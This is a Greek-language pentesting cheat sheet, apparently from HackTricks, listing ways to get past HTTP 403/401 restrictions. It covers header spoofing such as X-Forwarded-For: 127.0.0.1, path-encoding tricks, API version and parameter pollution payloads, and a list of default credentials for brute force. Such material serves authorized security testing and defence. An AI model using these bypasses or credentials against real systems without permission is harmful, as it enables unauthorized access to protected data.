403 & 401 Bypasses

Reading time: 5 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

HTTP Verbs/Methods Fuzzing

Δοκιμάστε να χρησιμοποιήσετε διαφορετικά ρήματα για να αποκτήσετε πρόσβαση στο αρχείο: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK

  • Ελέγξτε τις κεφαλίδες απόκρισης, ίσως κάποιες πληροφορίες να μπορούν να δοθούν. Για παράδειγμα, μια απόκριση 200 σε HEAD με Content-Length: 55 σημαίνει ότι το ρήμα HEAD μπορεί να έχει πρόσβαση στις πληροφορίες. Αλλά πρέπει ακόμα να βρείτε έναν τρόπο να εξάγετε αυτές τις πληροφορίες.
  • Χρησιμοποιώντας μια κεφαλίδα HTTP όπως X-HTTP-Method-Override: PUT μπορεί να αντικαταστήσει το ρήμα που χρησιμοποιείται.
  • Χρησιμοποιήστε το TRACE ρήμα και αν είστε πολύ τυχεροί ίσως στην απόκριση να δείτε επίσης τις κεφαλίδες που προστέθηκαν από ενδιάμεσους διακομιστές που μπορεί να είναι χρήσιμες.

HTTP Headers Fuzzing

  • Αλλάξτε την κεφαλίδα Host σε κάποια αυθαίρετη τιμή (που λειτούργησε εδώ)

  • Δοκιμάστε να χρησιμοποιήσετε άλλους User Agents για να αποκτήσετε πρόσβαση στον πόρο.

  • Fuzz HTTP Headers: Δοκιμάστε να χρησιμοποιήσετε HTTP Proxy Headers, HTTP Authentication Basic και NTLM brute-force (με λίγους μόνο συνδυασμούς) και άλλες τεχνικές. Για να κάνω όλα αυτά έχω δημιουργήσει το εργαλείο fuzzhttpbypass.

  • X-Originating-IP: 127.0.0.1

  • X-Forwarded-For: 127.0.0.1

  • X-Forwarded: 127.0.0.1

  • Forwarded-For: 127.0.0.1

  • X-Remote-IP: 127.0.0.1

  • X-Remote-Addr: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • X-Original-URL: 127.0.0.1

  • Client-IP: 127.0.0.1

  • True-Client-IP: 127.0.0.1

  • Cluster-Client-IP: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • Host: localhost

Αν η διαδρομή είναι προστατευμένη μπορείτε να προσπαθήσετε να παρακάμψετε την προστασία της διαδρομής χρησιμοποιώντας αυτές τις άλλες κεφαλίδες:

  • X-Original-URL: /admin/console

  • X-Rewrite-URL: /admin/console

  • Αν η σελίδα είναι πίσω από έναν διακομιστή μεσολάβησης, ίσως ο διακομιστής μεσολάβησης να είναι αυτός που σας εμποδίζει να αποκτήσετε πρόσβαση στις ιδιωτικές πληροφορίες. Δοκιμάστε να εκμεταλλευτείτε HTTP Request Smuggling ή κεφαλίδες hop-by-hop.

  • Fuzz ειδικές κεφαλίδες HTTP αναζητώντας διαφορετική απόκριση.

  • Fuzz ειδικές κεφαλίδες HTTP ενώ κάνετε fuzzing HTTP Methods.

  • Αφαιρέστε την κεφαλίδα Host και ίσως μπορέσετε να παρακάμψετε την προστασία.

Path Fuzzing

Αν /path είναι αποκλεισμένο:

  • Δοκιμάστε να χρησιμοποιήσετε /%2e/path (αν η πρόσβαση αποκλείεται από έναν διακομιστή μεσολάβησης, αυτό μπορεί να παρακάμψει την προστασία). Δοκιμάστε επίσης /%252e**/path (διπλή κωδικοποίηση URL)
  • Δοκιμάστε Unicode bypass: /%ef%bc%8fpath (Οι χαρακτήρες κωδικοποιημένου URL είναι όπως το "/") έτσι όταν κωδικοποιηθούν ξανά θα είναι //path και ίσως έχετε ήδη παρακάμψει τον έλεγχο ονόματος /path
  • Άλλες παρακάμψεις διαδρομής:
  • site.com/secret –> HTTP 403 Forbidden
  • site.com/SECRET –> HTTP 200 OK
  • site.com/secret/ –> HTTP 200 OK
  • site.com/secret/. –> HTTP 200 OK
  • site.com//secret// –> HTTP 200 OK
  • site.com/./secret/.. –> HTTP 200 OK
  • site.com/;/secret –> HTTP 200 OK
  • site.com/.;/secret –> HTTP 200 OK
  • site.com//;//secret –> HTTP 200 OK
  • site.com/secret.json –> HTTP 200 OK (ruby)
  • Χρησιμοποιήστε όλη αυτή τη λίστα στις παρακάτω καταστάσεις:
  • /FUZZsecret
  • /FUZZ/secret
  • /secretFUZZ
  • Άλλες παρακάμψεις API:
  • /v3/users_data/1234 --> 403 Forbidden
  • /v1/users_data/1234 --> 200 OK
  • {“id”:111} --> 401 Unauthriozied
  • {“id”:[111]} --> 200 OK
  • {“id”:111} --> 401 Unauthriozied
  • {“id”:{“id”:111}} --> 200 OK
  • {"user_id":"<legit_id>","user_id":"<victims_id>"} (JSON Parameter Pollution)
  • user_id=ATTACKER_ID&user_id=VICTIM_ID (Parameter Pollution)

Parameter Manipulation

  • Αλλάξτε τιμή παραμέτρου: Από id=123 --> id=124
  • Προσθέστε επιπλέον παραμέτρους στη διεύθυνση URL: ?id=124 —-> id=124&isAdmin=true
  • Αφαιρέστε τις παραμέτρους
  • Αναδιατάξτε τις παραμέτρους
  • Χρησιμοποιήστε ειδικούς χαρακτήρες.
  • Εκτελέστε δοκιμές ορίων στις παραμέτρους — παρέχετε τιμές όπως -234 ή 0 ή 99999999 (μόνο μερικές παραδείγματα τιμές).

Protocol version

Αν χρησιμοποιείτε HTTP/1.1 δοκιμάστε να χρησιμοποιήσετε 1.0 ή ακόμα και να ελέγξετε αν υποστηρίζει 2.0.

Other Bypasses

  • Αποκτήστε το IP ή CNAME του τομέα και προσπαθήστε να επικοινωνήσετε απευθείας.
  • Δοκιμάστε να πιέσετε τον διακομιστή στέλνοντας κοινές GET αιτήσεις (Λειτούργησε για αυτόν τον τύπο με το Facebook).
  • Αλλάξτε το πρωτόκολλο: από http σε https, ή για https σε http
  • Πηγαίνετε στο https://archive.org/web/ και ελέγξτε αν στο παρελθόν αυτό το αρχείο ήταν παγκοσμίως προσβάσιμο.

Brute Force

  • Μαντέψτε τον κωδικό πρόσβασης: Δοκιμάστε τα παρακάτω κοινά διαπιστευτήρια. Ξέρετε κάτι για το θύμα; Ή το όνομα της πρόκλησης CTF;
  • Brute force: Δοκιμάστε βασική, digest και NTLM αυθεντικοποίηση.
Common creds
admin admin admin password admin 1234 admin admin1234 admin 123456 root toor test test guest guest

Αυτόματα Εργαλεία

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks